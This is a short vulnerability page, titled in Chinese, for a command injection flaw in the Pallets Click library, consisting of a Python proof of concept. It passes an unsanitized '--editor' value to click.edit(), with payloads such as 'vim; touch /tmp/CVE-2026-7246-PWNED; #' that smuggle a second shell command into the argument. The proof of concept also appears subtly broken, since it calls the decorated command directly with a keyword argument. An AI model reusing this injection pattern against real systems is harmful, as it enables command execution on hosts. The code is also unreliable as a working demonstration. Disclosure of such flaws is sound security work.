CVE-2026-7246 Pallets Click命令注入漏洞

import click # Simulating the vulnerable function call # In a real scenario, the 'editor' argument might come from user input @click.command() @click.option('--editor', help='Editor to use') def vulnerable_edit(editor): if editor: # If the editor string is not sanitized, command injection is possible # Example payload: 'touch /tmp/pwned; #' click.edit(editor=editor) else: click.edit() if __name__ == '__main__': # Proof of Concept: Attempting to inject a command # This simulates an attacker providing a malicious editor string import sys # The payload creates a file as proof of execution payload = 'vim; touch /tmp/CVE-2026-7246-PWNED; #' print(f"Running PoC with payload: {payload}") vulnerable_edit(editor=payload)